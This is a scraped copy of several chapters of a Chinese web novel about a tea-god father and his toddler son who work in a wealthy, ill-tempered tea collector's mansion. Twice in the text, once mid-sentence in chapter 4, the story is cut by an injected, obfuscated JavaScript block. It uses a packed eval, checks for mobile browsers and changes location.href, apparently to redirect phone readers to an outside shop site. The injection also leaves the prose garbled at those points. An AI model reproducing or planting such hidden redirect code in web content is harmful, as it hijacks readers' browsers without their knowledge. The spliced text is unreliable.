白清语编好篮子,铺上柔软的小被子,把白小茶放在里面,提到阳台,让他晒晒自然光。 白小茶立刻闭上眼睛:“爸爸吃面包。” 阳光和暖地照在茶神幼崽脸上,白小茶灵活翻身,晒一晒后背。 白清语将地上的半盒面包收起来,放进冰箱里,白小茶喜欢,还是留给白小茶。 接着,他找到了清扫工具,开始逐间逐间除尘拖地。 这一层很大,比他们老家镇上的超市还大,白清语拖了一层楼,鼻尖冒出了汗。 歇息时,白清语想到火车上的大姐,拨过去一个电话,告诉她自己找到了包吃住的工作,不过寄人篱下,不方便接受她的玩具。 大姐听说她找到了工作也很高兴,道:“那我就给你寄一些,不占地方。” 白清语:“谢谢姐姐。” 十二点,房间里的电话铃响起,管家通知白清语下来吃午饭。 白清语一个人下去,他电视剧看多了,以为佣人有专门吃饭的地方,结果发现大家围坐在主桌上。 齐管家介绍他们互相认识:“这是白清语,以后负责三楼和花园。李如李愿是亲姐妹,负责一二楼的卫生。刘姐,负责做饭。老李负责看大门和打扫外围的卫生,此外还有专人养护四楼的泳池等,不住在家里。” 李如李愿是一对高高壮壮的姐妹,两人对面还有一个年轻的小姑娘,瘦弱而安静。 管家指着小姑娘:“这是翻译官。李如李愿小时候因为药物错用导致哑巴,我还没学会手语,看不懂她们的手势,所以少爷的姑姑,就是介绍你来的那个人,她给我配了一个手语翻译。” 实际上搞翻译的小姑娘有点坡脚和社恐,也是贺映塞进来的就业困难户,没有岗位就创造岗位。此外,看大门的老李是个结巴。他们有的是来这边过度一阵,等有更合适的岗位就把她们调走。 白清语不明觉厉,他只在新闻频道见过手语翻译,很厉害的人才能配上翻译。 果然是豪门,连管家都配翻译。 齐云道:“来了就是自己人,大家互帮互助,把日子过好。咳,清语他带着个孩子,贺少爷不喜欢孩子,大家在他面前别提。” 几个人都听懂管家的暗示,纷纷点头。 白清语感受到了他们的善意,也感觉到了肩上的责任,于情于理,他都该努力干活。 “今天贺少不回家,你可以把孩子带到花园玩。你怎么不带他下来吃饭?他会自己吃饭吗?” 白清语:“能。” 做饭的刘姐道:“别把孩子一个人留在三楼,快去抱下来。” 白清语鞠躬:“谢谢大家。” 他转身上楼,把白小茶连人带篮子拎下来,直接坐在篮子里吃,饭渣不会掉到地上。 白清语端着白小茶的木碗,把桌上不带刺不带骨头不难嚼的菜,不分甜咸,一股脑舀了一勺子,搅一搅,电视广告上说了,混合喂养更健康。 众人眼睁睁看着白清语把饭搅成猪食的样子,欲言又止。哑巴姐妹说不出话,按捺地攥着手指,看着又比其他人更急一些。 这……这毕竟是人家的孩子,指手画脚不太好吧……但是…… 白清语将一碗混合多种营养的饭,放在白小茶面前的小凳子上。 “谢谢爸爸。”白小茶握住勺子,快乐地挖一大勺,一勺里既有荔枝肉,又有咸鲜鱼肉,还有甜丝丝的玉米浓汤。 口感层次丰富,白小茶塞得两颊都鼓起来。他还会用勺子刮一刮嘴角的饭粒,重重地抿干净。 众人:“……”白清语很穷但宝宝白白胖胖的原因找到了,原来是个干饭恐怖|分子宝宝。 这也太糙养了。 白清语不解:“你们怎么不动筷子了?” “动、动。”管家率先喝汤压压惊,余光忍不住看向白小茶,对方幼崽在干饭途中还实行干湿分离,噎着了就用勺子压一压大杂烩,撇出半勺汤水来。 真好养活的宝宝,跟他家金贵少爷不一样。 吃饱了,白清语下午要去整理花园。 白小茶非要帮白清语拔草,但是他分不清人工草坪和野草,手上力气也不够,只能用手指去抠草根。 添乱就算了,还得挨着爸爸的后脚跟添乱。 “可以乖乖坐在一处不动吗?” “可以噢。”白小茶答应,偷偷抬着屁股挪动。 白清语有些心软,人生地不熟,白小茶才格外依赖他。但离得太近,白清语怕自己的除草工具伤到他。 管家看着白清语干活,心里评估这人的品行,干活勤恳老实话少,贺映看人很准,否则也不敢往亲侄子家里放。 他清清嗓子,建议道:“买一个宝宝椅吧,否则阻止不了他跟着你——” 管家话音未落,就看见白清语挖了个四十公分深的坑,拎着小崽子栽进去。 “在这里玩。” 土地对茶神来说,像母亲的怀抱一样具有安全感,白小茶呆在里面,安静下来,用树枝戳壁上的土壤玩,沙土簌簌地落在他的脚上,痒痒的,逗得自己笑出声。 白清语扭头:“齐叔,您刚才说什么?” 管家:“我说买个餐椅固定宝宝。” 白清语:“不了,挖个坑就行了,还是好动就再培两把土。” 管家看看在坑里很是高兴的小崽子,闭上了嘴巴。 [喜欢玩泥巴的宝宝,跟少爷又不像了。] 在贺家住了三天,白清语越来越习惯,在楼上干活就让茶小宝跟着,在花园干活就让白小茶坑着。每天都有免费的三餐吃,白小茶都重了一点点。 管家数次建议提前发工资给白小茶买点玩具,白清语说玩玩泥巴就行了,钱要攒下来寄给白小茶的爷爷。 管家露出不赞同的神色,吃一嘴泥巴怎么办? 白小茶看见管家爷爷皱眉,就知道爸爸又有搞不定的事了,认真道:“管家爷爷,宝宝不需要玩具,宝宝只要玩泥巴就可以了。” 好心酸的一段话。 管家闻言更加怜爱,但没有多说什么,他能帮得了一时,给白小茶买玩具,但孩子的生活水平终究要落到父亲的经济实力上,忽好忽坏的,容易长歪。 “行,茶宝最乖了。” 厨房淘汰下来一根木铲,白小茶撅着屁股在坑里挖土,兴奋地喊:“爸爸,有小虫子。” 小昆虫爬到白小茶脏兮兮的脚趾头,在娇嫩的皮肤上叮了一口。可能昆虫也没咬过这么薄的“盔甲”,在脚背上徘徊着又叮了一口。 白小茶反应慢一拍:“爸爸,虫子咬我。” 白清语忙过来把儿子抱起来,拍拍他脚上的泥土,“看见虫子要马上赶走,知道吗?” 白小茶泪眼汪汪,“它不咬我,我就不赶走它。” 白清语:“你不赶走它,它就想咬你。” 白清语抱着他洗脚,把灰扑扑的煤球冲成两个白馒头,脚背上点缀着两颗肿起来的小包。 “爸爸,痒。” “我带你去买药。”白清语背着儿子,首次离开别墅,走了几百米,找到一家药店。 店员客气又礼貌,在看完白小茶的脚丫后,拿出一盒药膏,“二十八块。” 白清语一顿,这么小的药膏二十八块,好贵,他羞愧地说:“对不起,我不要了。” 白小茶从爸爸身后探出脑袋,重复道:“对不起噢姐姐,我们不要了。” 店员道:“没事,我们这边租金贵,价格高一些,你可以再往前一公里,去另一家药店。” 白清语背着儿子出门,没有左拐去药店,而是寻了个角落,揪了根头发变成一片茶叶,捻出汁水,在白小茶脚上涂了涂。 肿包在白清语的指尖下缓缓消失。 白小茶:“唔!” 药膏要钱,神力不要钱,就是用多了会虚弱。 不要紧,只是消个小包,虚弱不了。 还是二十块钱更重要,二十块钱他能自制一罐用上几十年的药酒了。 白清语继续往前走,十五分钟后,找到一家有卖中药材的药店。 他购入一瓶酒精,还有冰片、黄连、大黄、金银花,以这些清热解毒的药材入酒,专治蚊虫叮咬,足以够用到白小茶长大了。 走了这么长的路,白清语嘴唇有些干,正想着回去,突然看见一个免费饮水点。 不愧是大都市!白清语扫码出水,人像雕塑手里的茶壶流出一道细细的水流,白小茶站在茶壶下长大嘴巴等待,没对准,水滋到眉心,忙闭上眼睛。 白小茶:“爸爸,再喝一次!” “好。” 两人喝自饮水喝得流连忘返,没注意到马路上开过一辆迈巴赫。 * 司机从后视镜看见贺任沅生人勿近的表情,又看见那边喝个水都开心的父子,心想老板的快乐阈值实在太高了,高得他三年都没看见贺总笑过。 坐在后座闭目养神的男人,有一副英俊的好相貌,琼鼻深目,剑眉凌厉,黑发如墨。他眉心总是笼着淡淡的不快,其宽肩窄腰、隐藏在西装下结实的肌肉、一米九的身高,又催化这份不悦变成不敢直视的威压。 “陈束,你是不是给我开车三年了?”贺任沅突然冷冷地开口。 陈束后颈一麻,这糟糕的谈话开头……下一句不会是“明天别来了”? 陈束轻轻地嗯了一声,极力降低存在感,并打开了车窗,让春季的空气流通进来,外界的喧闹也一同涌进来分走老板的注意力。 风吹动贺任沅前额的头发,一道寸长的疤痕若隐若现。 贺任沅果然不再说话了,目光投向外边。 陈束:好险,差点被开除了。 其实外界觉得贺任沅又冷又凶,陈束倒是觉得偶尔贺任沅像他小时候村里那个老婆跑了的鳏夫,丧丧的,一有孩子靠近取乐就变得很凶很凶。 * 白清语刚要回去上班,接到管家的电话。 管家紧张兮兮地问:“清语,你在哪呢?” 白清语:“在外面买东西。” “贺先生要回来了。”管家时刻谨记要给白清语父子打掩护,“你这时候别回来免得撞上。你还没带小茶去过游乐场吧,今天给你放假,你在外面玩一天。” “不想去游乐场去图书馆也行,有儿童绘本区,门口坐3号线地铁,五站就到了。” 白清语点点头,意识到管家看不见,才道:“好,我不会回去的。” 管家:“等贺少走了我通知你。” 天灰蒙蒙的,春天雨水多,越下梢头越柳色青青,杨柳风吹面不寒,白小茶仰起小脸蛋,细软的头发随风扬起。 白清语察觉到空气中的湿度,要赶紧找个能长时间避雨的地方了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650392|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抬眸,百米外就有地铁站口,白清语抱着白小茶走了进去。 地铁口,有个摆摊卖玩具的中年摊贩,快下雨了家长们都带着孩子回家回家避雨,路上都见不着小孩子,他必须得跟着收摊了,正要骑车开走时,突然看见一大一小走来。 中年男人精明地拽出一个大公鸡形状的氦气球,直往小孩子手里塞——只要小孩子接住了不放,家长就得掏钱。 “小朋友——” 白小茶想起火车上的奶贝,高兴地搓了搓脸:“叔叔,是免费的嘛?” 中年男人:“……” “十五块钱一个。” 白小茶把手缩进跟爸爸的胸前夹缝里:“叔叔,我爸爸没有钱。” 中年男人没见过这样鬼精的小孩,又好气又好笑,生怕自己再看一眼就真的心软免费了,连忙开车离开。 “小宝贝真可爱,给你一个杯子。”迎面走来一个拎着一串塑料大肚杯的小伙子。 白小茶毫不气馁地问:“哥哥,是免费的吗?” 小伙子展颜一笑:“免费的,只要你帮我下载一个软件。是正规软件,你从软件商城里下载。” 唔? 白清语和白小茶同时停驻目光,他带白小茶出门的话,确实需要一个杯子装水,“我没有很多流量。” 小伙子:“我给你开热点。” 三分钟后,小伙子一通操作猛如虎,白清语手机多了一个短视频软件,并用一分钱下单了一个杯子。 “这个杯子是你的了。” “哇。”不明真相的白小茶发出惊叹。 小伙子一看白清语是新入网的手机号码,比哥伦布还兴奋,“我再给你一个杯子,你再下载一个软件。” 白小茶满口答应:“爸爸也要一个。” 小伙子笑容满面地又给白小茶脖子上挂一个大肚杯:“给你。” 又是一通操作,白清语手机上多了一个红色购物软件。 小伙子正想继续发掘,豆大的雨点砸下来,白清语匆匆收回手机,“不弄了,我要去赶地铁。” 白清语本来打算去图书馆,但是白小茶直接被地铁这个大号玩具迷住了。 这一站人流较少,站内不拥挤,他们长时间逗留也不会阻碍交通。又能避雨,又有玩具,离家还近,白清语抱着小崽子坐在椅子上看前后两列地铁几分钟一趟,唰地来来去去。 免费的大玩具,只要两块钱最低乘车费用,可以一直玩到晚上十一点半。 “呼呼——”白小茶鼓起脸颊模拟地铁穿透地底的风声。 “又一辆了爸爸!” 白清语突然想到一个问题,如果经常下雨,他带白小茶出门不是很方便。 茶神幼崽可以淋雨,但淋多了涝了不行。 白清语打开刚下载的拼喜喜,输入关键词,查找能全包防雨的婴儿车。 商品只有婴儿车透明全包防雨罩,要二十多块钱,婴儿车要另买。 婴儿车居然最低也要一百多! 白清语囊中羞涩,正欲关闭软件,此时地铁的清洁工推着垃圾车经过。 白清语的目光一下子被那个上带盖下带轮的塑料垃圾桶吸引。 唉?这不就是他背篓的防雨滚轮升级版吗? 白清语当即改成搜索户外垃圾桶,下单了一个绿色环保款。新用户只要六十六元,就能将120升的大容量垃圾桶带回家。 白清语认真填写了住址,等待收货。 外面估计下起了大雨,新进站的旅客都带着滴水的伞,地面留下脚印。 白清语突然想起自己晒在阳台上的尿布,该不会被雨淋了吧? 算了,白小茶有好多条尿布,明天洗了重新晒。 贺家。 贺任沅还没踏进屋,骤然起一阵风,天空飘来一片白色布料,兜头袭来。 贺任沅自三年前被人暗算后,对不明来物分外警惕,伸手一挡,在险些盖住脸之前,抓住了一块长方形的布料。 “这是什么?”贺任沅脸色铁青。 管家顷刻间汗如雨下,“这是、这……” 这好像是白小茶的尿布! 完蛋了,大少爷可是有洁癖的,白清语怎么能在阳台晒,扔进烘干机就好了。 “这……”管家急中生智,“这是抹布。新来的保姆喜欢洗完晾在阳台,我说消毒烘干就好,他说太阳杀菌好。” 抹布、抹布总比尿布强一点。 贺任沅甩掉了抹布,“又是姑姑介绍的?” 管家:“是。” 贺映虽然介绍一些困难户过来,但基本没有给贺任沅添麻烦,这还是第一次,还是被抹布骑脸,贺任沅觉得自己的忍耐到了极限,“这回又是什么人?” 管家清楚地知道,这时候应该替白清语卖惨,把他渲染成被解雇就会饿死的形象,但瞒得了一时瞒不了一世,他一咬牙,老实道:”身体健康的人。” 贺任沅:“脑残?” 不然他想不通为什么要在三楼晒抹布,厨房在一楼不是么?但凡有点脑子都不会带到三楼去晒。 人不在眼前,隔空跟脑残发火也没意义,贺任沅到底给了姑姑一点面子:“下不为例。” 管家:“是是是,今晚您住在家里吗?” 贺任沅“嗯”一声,大步走进去,在大厅时,脚步顿了顿,目光凌厉地扫视每个角落。 房子还是他上次离开时的样子,但他隐约觉得哪里不一样了。 贺任沅伸手按了按额头,触碰到了那处不平的疤痕,闭了闭眼:“泡一杯茶上来。” 4. 第 4 章 白清语揉揉儿子的脑袋,“因为爸爸想带你出来吃烤肠,好吃吗?” 白小茶点头,两颊的软肉颤了颤:“好吃。” 春天的夜晚下过雨后变得凉意逼人,除了地铁口坚持卖烤肠的小摊贩,路上几乎没有行人。白清语将儿子往紧搂了搂,侧了侧身,挡住风来的方向。 茶神很难生病,除非天气恶劣到山上的茶树都枯死了,他们才会受影响变得虚弱,但是身体冷了也不舒服。 白清语手掌盖住白小茶的前额,避免他脑袋吹风,刚才出来得着急,也料不到晚上会在外面过夜,早知道该戴顶帽子。 “爸爸,帮我拿着。”白小茶使劲搓了搓手掌,贴住爸爸的脖子,“热乎乎。” 稚嫩的手心摩擦起热有限,白清语还是给面子地说:“好热。” 一位夜晚遛狗的市民,看见这对相依为命的父子,脚步慢下来,纠结地摸上衣口袋,又摸裤子的口袋,空无一获,最后在掏手机时一脸纠结地被大狗牵着走了。 这位热心市民估计一晚上都会因为身上没有携带现金而懊恼。 白小茶在爸爸的呵护下啃完了烤肠,眼睛都亮晶晶的,他的瞳仁像白清语,微微带点茶汤般的琥珀色,细软的头发却很黑,呈现出太阳晒足了的黑曜石光泽。 就在白清语打算在银行自助厅凑合一晚时,管家终于给他发消息,问他白小茶睡了没,如果睡了抱着他从后门进,不要弄出动静。如果没睡的话,带崽穿越火线可太危险了。 白清语看着意犹未尽舔竹签的儿子,回复:“睡了。” 管家看着二楼的窗户终于黑了,松一口气,到门口接白清语。 他还带了个纸箱子给白清语装孩子,管家的爱体现在他找了一个非常高档的装茶叶的箱子。 “如果被看见了就说是搬茶叶,贺先生有个爱好就是收藏名茶。” 白清语重重点头。 二楼,黑暗中,贺任沅对窗静静坐着,手边是一杯凉掉的茶水。 近年来他晚上容易失眠,睡不着还自虐般地摄入茶叶里的咖啡因。 桌上摊开着一本笔记本,上面罗列三年前春天发生的事,有一些他记得,有一些他通过工作日程找回来,通过监控和其他的人口供,精确到每时每分发生了什么。他对时间有洁癖,不允许任何一点光阴藏在糊涂的阴影里。 然而,时间没有发生断代,顶多是他在山崖下昏迷了几个时辰丧失意识。贺任沅却坚信自己少了一大片重要的记忆。 否则,如何解释他后腰处凭空多出来的茶叶纹身? 对此,医生给出的解释是——他丧失了掉崖之前去纹身的记忆片段。 是吗?可是掉崖之前的记忆,他通过各种手段全部找了回来,每一分,每一秒,证据确凿,寻不到纹身的空隙。 贺任沅把凉掉的茶水喝了,提手再倒,发现壶里的也空了。茶叶有助于他回想过去,但作用越来越不明显了。 他动了动长腿,起身去倒水,他有些烦躁,齐叔说他这样喝茶是自虐,把家里的茶叶收在一楼的柜子里,不让放在二楼他唾手可得的地方。 他得下楼。 刚到楼梯口,贺任沅便察觉到有人上来,脚步很轻,听脚步声不是家里的人。 也不会有贼不长眼偷到这里,那么便是新来的身体健康但脑子不行的保姆了。 贺任沅停住脚步,下一秒,便和蹑手蹑脚运崽的新面孔打了个照面。 转角猛地撞见一个面无表情的人,纵是茶神也有点受惊。 虽然没开灯,但借着楼梯转角窗户照进来的路灯光,依稀能看见雇主英挺的轮廓,他的眉眼萦绕着挥之不去的低压,仿佛能将对视的人都卷进暗无天日的深海。 之前贺映和管家一直强调雇主脾气不好,白清语都没放在心上,他一个茶神,难道还会惧怕区区人类的的匹夫之怒? 白清语心虚地抱紧了箱子,有些人类还是很可怕的。 贺任沅的目光首先落在他手里的茶叶箱,和抱着箱子白皙修长的手指。因为他嗜茶,合作方常投机把商谈地点定在茶舍,他见过很多双调茶的手,都不如眼前这双手适合捧起白瓷,围炉煮茶,推杯换盏。 念头只是一闪,贺任沅视线上移,对上一张淹没在人群里的脸。 白清语忘了和管家的口供,见贺任沅一脸想要他的箱子的模样,紧张道:“管家说这箱剩下的茶叶发潮了,不要了,我可以拿走。” 贺任沅自己都不知道家里有多少茶叶,喝了太多,已经麻木了,他早就无心鉴赏茶叶,粗细浓淡对他来说都一样。他只是偏爱茶叶和记忆的诡秒联结,但这份联结渐渐失效。 但此刻,他鼻尖嗅到的茶香,淡淡的,像一根细细的丝,扯起脑海不知通向何处的涟漪,就像他醒来第一次喝到茶叶一般。 贺任沅嗓音低冷:“给我一包。” 白清语强调:“发潮了。” 贺任沅皱眉:“我知道。” 白清语抿了抿唇,可是箱子里只有崽子,没有茶叶。 贺任沅脾气不好地吓唬他:“你箱子里物品所属权不明,作为雇主我有权检查。” 白清语没有听懂前半句,但是后半句他听懂了,忙道:“别生气,我马上给您。” 白清语伸手进箱子,轻轻揪了两根茶神幼崽的头发。 头发落在掌心,变成了一把茶叶,白清语用神力烘了烘,道:“伸手。” 贺任沅:“嗯?” 白清语一板一眼道:“里面是散装的茶叶,所以潮了,没有一包一包的。” 贺任沅摊开手,几片茶叶落在他掌心,带着微微的热意:“就这些?够泡一壶的?” 白清语抱着箱子后退一步,用看人贩子的眼神看着贺任沅,“够的。” 真是的,因为少爷回来,他和茶宝在外面淋了一点雨,头发发潮,茶香四溢,导致又被懂茶的少爷拦住了要茶。 贺任沅冷笑,外面搜罗顶级名茶讨好他的人排着长队,他搁这儿跟保姆为了几根茶叶拉扯。 要不是他现在因为长期失眠而烦躁,不想下楼,他会立刻开除这个吝啬的保姆。 “不够,再来一把。” 白清语简直拿拦路抢劫的雇主没办法,不得已,只能伸手又薅了一下白小茶的整个脑袋寻找落发。 小崽子睡梦中以为爸爸在摸脑袋,舒舒服服地翻了个身。 茶叶箱踢动了下,白清语单手差点没抱牢,手忙脚乱地弯腰夹住。 贺任沅下一步台阶扶住箱子,感觉到了不轻的分量。 至少二十斤茶叶,几克都不给他?这原本还是他的茶叶?贺任沅深吸一口气,安慰自己不能跟脑残计较太多。 正当他打算自己抓一把时,白清语眼疾手挡住了他,并在他掌心放了一把茶叶。 白清语:“您还有事吗?我可以上去睡觉了吗?” “管家安排你在三楼住?”贺任沅皱眉,三楼是客人住的地方。 白清语看着他,难道大少爷回来第一天,他不仅没吃的,连房间也要收回去? 贺任沅接收到他的视线,扯了扯嘴角侧身让开。 白清语经过时,贺任沅又闻到更浓的茶香,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13650393|143939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬起手闻了闻,所以……其实发潮的茶叶更香? 贺任沅把茶叶扔进养生壶煮沸,倒出来一杯。 茶色嫩绿,兰香馥郁,茶香鲜但入口茶味偏淡,明显是种植不足三年的新枞茶。应当还是武夷正岩茶,经过简单的晒青杀青制成的毛茶,不算成品茶。 怎么看都太嫩了。 正岩茶产自高山坑涧,名贵难求,贺任沅这儿有很多,由管家管理着,他这两年不是很上心。 贺任沅弯腰从桌下找出一盏天青色的汝窑杯,代替牛嚼牡丹的马克杯,接着一愣,他已经很久很久,没有为喝茶费周章了。 …… 白清语有惊无险地把白小茶运送到三楼,损耗五根头发。 如果白清语使用原本的神仙模样,他长发及腰,且是黛青色的。 白小茶人类食物吃多了,头发才那么黑,完全不像是茶神,也可能是身体里流淌着的另一种血脉提供者的头发太黑了。 不过真的存在这个人吗?茶树分无性繁殖和有性繁殖,无性系更容易保留上一代的优良特性。 白小茶不会是他无性繁殖的吧?但是……白清语看着儿子的黑发陷入沉思。如果是无性繁殖,应该黛青色的才对。 喔!可能是后天食物的原因。 [宝宝,你以后少吃点人类的芝麻和酱油吧。] * 翌日,贺任沅坐在餐桌前,面前是中规中矩的一餐,他没什么胃口,反倒惦记昨晚的那口茶。 他昨晚居然睡得很好。 “齐叔,昨晚是哪款茶叶发潮了?” 管家“啊”了一声,什么发潮?少爷的茶叶他都精心呵护,万万没有发潮的可能,几十年的普洱茶饼都好好的。 贺任沅没有得到回应,皱眉道:“你给新来的保姆的那箱茶叶,仓库里还有么?” 电光火石间,管家反应过来,哪里是什么茶叶,八成是昨晚白清语抱着孩子回屋被少爷撞见了说成是茶叶。 管家言简意赅:“没了。” 贺任沅:“没了?” 管家现编借口:“那是我前阵子回老家在流动摊贩随手买的便宜茶叶,最后一包了就照顾老板生意,后来发现味道一般就没好好收起来。” 这一番话漏洞百出,贺任沅没顾得上纠错,莫名被人冒犯品味:“味道一般?” “您喝过了?”管家心里一咯噔,难道味道很好?他跟白清语的茶叶剧本对不上啊!日理万机的少爷未免对这箱茶叶太关注了。 白清语恰好从楼上出来,没人告诉他贺任沅在家时,保姆要提前起床,他睡得比雇主还晚,低调地顺着楼梯往下走,被管家叫住。 “清语,昨晚我送你的茶叶……”管家微微起了个头。 白清语接下去:“噢,谢谢您,很好喝。” 他有点自卖自夸的嫌疑:“贺先生应该也觉得不错吧。” 贺任沅轻哼一声,对管家道:“你去那个摊贩那里再买一箱。” 管家:“……”上哪买? 贺任沅好心提醒:“齐叔你的老家在北方,流动摊贩卖老纵水仙,应该很好找吧?” 管家眼前一晕,白清语哪来的茶叶糊弄贺任沅,听少爷的语气,还是原产地正品,“我想起来了,前阵子一盒老枞水仙,我不小心洒地上,倒在一块儿了。” 白清语:“齐叔——”别跟着少爷说下去啊,话里都是陷阱,好坏的。 贺任沅:“哦?我说错了,不是老枞,是新枞。” 管家闭嘴了,好吧,就不该在律师面前狡辩,不知道哪句话真哪句话假。 5. 第 5 章 白清语赶紧给管家同步信息:“是武夷山正岩雨前新茶,毛茶,没有烘干,返潮了,我央求管家送给我。” 贺任沅不在乎送出的茶叶贵不贵,他多的是,只是不知道管家为何偏爱这个新保姆,连送个茶叶都要编造个便宜的品种,生怕他觉得这个保姆贪财。 “你初来乍到,齐叔怎么好意思送发潮的茶叶,拿出来,我给你换一箱凤凰单丛。” 管家不明白贺任沅怎么跟白清语杠上了,单丛意味着单株采摘单株制茶,一树一香,独一无二,价格炒得很厉害。 管家觉得换了不亏,转手倒卖能致富:“那是少爷花了上百万包的一株茶树,亲自去山场挑的……” 白清语震惊:“百万一株树?” 原来贺任沅就是那种会包养茶树的大老板,人不可貌相,他听说过很多茶树有很好的待遇。 管家道:“四百年的树龄,以稀为贵。” 白清语“哦”了一声,那确实比他年纪大一点点。 不过,再贵的茶叶,他都不可能薅崽去换,光头宝宝就不可爱了,白小茶的头发黑黑漆漆的,虽然不够绿,也挺可爱。 “不换。” 当真以为他非那箱茶叶不可吗,贺任沅道:“齐叔,找到商家,有多少买多少。” 白清语:“买不到了,新茶产量低,这一箱应该是全部了,茶叶的品质跟当年的雨水、阳光密不可分,就算找到那个商家,也买不到一模一样的茶了,就像同一对爸爸妈妈,不可能两次生下一样的小孩。” 就像白小茶可是独一无二的茶宝宝,白清语说着说着眼角微弯了下,有点得意。 “一年树和二年树也有差别,就算同一株树,同样的雨水,过了一年品质也不一样了。少爷应该能喝出来昨晚的是二年生的新枞吧?新茶的口感一年一变的。” 白小茶是两岁的宝宝,头发细软,明年就不一样了。 白清语语调软和,落在贺任沅耳朵里却牙尖嘴利。 贺任沅冷笑,这哪里像个脑残,他姑姑真是惦念侄子了,给他找了个气人的保姆。对方的神色在他看来是十足的挑衅,贺任沅冷眸一动,定定地笼在白清语脸上:“那我花钱把你那箱买回来。” 用的是强买强卖的口吻,白清语若是不卖,会被马上赶出家门还不准带走任何东西。 白清语杜绝贺少爷的念头:“不能,因为我昨晚泡澡用完了。” 管家倒吸一口冷气,怎么好像在吵架的样子,他家少爷可不是吃素的。贺任沅本身当过律师,问话的口气像刑警,大有让白清语把泡澡水当呈堂证供端上来的架势。 贺任沅一字一句道:“泡、澡?茶叶还能泡澡?我出十万,你见好就收。” 白清语微微吃惊,雇主居然愿意出这么多钱,但是没有就是没有,他们茶神不能用自身优势扰乱人类茶叶市场与民争利。 不能卖。 白清语道:“真的泡澡了,不信你闻闻,我身上还都是味道。” 他走近一点,将手腕伸到贺任沅眼前。 贺任沅嗅到一股清雅恬淡的新茶气息,不屑一顾的眼神蓦地垂下,瞥到一截肤白赛雪的手腕。他一怔,心中好像被什么撞了下,眼神立刻上挑,看见的还是那张寡淡的老实人脸。 老实人一脸无辜。 一想到这么好的茶叶被保姆当成洗澡水,这个人甚至昨晚只肯给他几片茶叶。 这是正常人能办出的事情? 贺任沅气得牙痒,却又没有正义的立场发火,看那截腕子的目光恨不得生啖其肉。 他泡了一小杯,保姆泡了个洗澡池!茶叶泡澡闻所未闻,居然真让他泡出了一身茶香。 不过是沾了茶叶的光,再怎么香也是插着孔雀羽毛的乌鸦,只有一时的迷惑性,他不能上了这个保姆的当了。 贺任沅:“站远点。” 白清语后退了两步,把手垂下。 白清语看似没什么错,但他贺任沅更没有错,“齐伯,给他支三个月工资——”赔偿开除。 因为白清语退后一步,鼻尖的香气淡了,贺任沅一霎那差点像狗追着肉骨头一样倾斜姿态,意识到自己的条件反射,他脸色铁青,十分忍辱负重地说:“你穿的什么年代的衣服,别搞得好像我发不出工资一样。” 留着,等味道散了,或当他找到一样的茶叶,就马上给他滚蛋。 白清语捏了捏袖口的布料,他以为雇主会大发雷霆,毕竟介绍人给他打过预防针。结果雇主还给他提前发三个月工资买衣服? 为什么?因为真的很喜欢他给的茶叶吗? 贺任沅不愧是家里藏着一吨茶叶的人,知道茶神给的才是最香的。雇主的不舍,就是茶神的荣誉。 白清语单方面认定他和贺任沅审美一致,于是跟雇主商量道:“我能不能在花园搭一个丝瓜架子?” 丝瓜架子……天方夜谭。 贺任沅还没有在现实生活里看见过这玩意儿,更不可能让它搭在自己窗户底下。 “你当这是乡下?” 白清语:“可以省点买菜的钱,自己种的好吃。” 贺任沅:“齐叔。” 齐管家立刻会意,道:“后厨采购的都是指定农场的有机绿色蔬菜,光一条丝瓜的进货价就是五十,清语你不用自己种。” 白清语听得更想种了卖给冤大头。 难怪茶小宝在外面吃着烤肠还惦记怎么没有免费的晚饭吃了。 贺任沅发完脾气,臭着脸动筷。 白清语刚要坐下,发现只有雇主坐着,其他人都在假装安静地忙碌,原来只有雇主不在时,大家才会在饭点坐在这张桌子上一起吃饭。 白清语站直,听见贺任沅道:“你站在这儿布菜。” 白清语:“噢。” 一般布菜的活儿,都要有点眼力见儿,不能老板夹菜你转桌。白清语拿起公筷,贴心地每样都来一点,把贺任沅的盘子堆得满满的。 贺任沅看着面前的大杂烩,“……” 管家在白清语夹菜时就机灵地跑了。 贺任沅:“你喂猪呢?” 白清语:“你不喜欢吗?” 贺任沅深吸一口气,他真是气疯了才会让乡下来的保姆布菜,他懂个狗屁的餐桌礼仪。 他夹了两筷子青菜,草草把粥喝完,气饱了,“不吃了。” 很快有人上来把桌子上的饭菜全撤了,白清语懵逼地眨了眨眼,少爷吃饭就是浪费,一早上浪费这么多,中午呢?桌子上的清蒸海鲜、蒸蛋、面点……几乎都是完整的。 白清语眼疾手快按住贺任沅的盘子:“这个留给我吃。” 贺任沅:“这是我的剩饭。” 白清语:“我不介意。”能抢救一点是一点,小崽子还没吃呢,这一碗刚好。 贺任沅冷硬道:“我介意,倒掉。” 白清语倒进自己的碗里,“浪费食物是不对的。” 贺任沅:“……”如果光看这双手的动作,也没有那么恶心。 他一愣神的功夫,剩饭被白清语带跑了。 总不能去抢回来。 荒唐,这一清早让保姆气精神了,加上昨晚睡得不错,这个“精神”还是褒义的。 白清语端着饭直上三楼,这会儿小崽子早就醒了,舒服地沐浴着清晨的阳光,掰着自己的手指玩,还会自己翻身三百六十度地晒。 醒来时爸爸不在,又能晒到太阳,白小茶就明白爸爸是去干活了。 白清语关闭门窗,小声道:“宝宝,来吃饭了。” 茶小宝巴巴地看着爸爸手里的碗。 白清语先给他倒一杯温水,喂着喝了两口,然后才给他一个花卷。 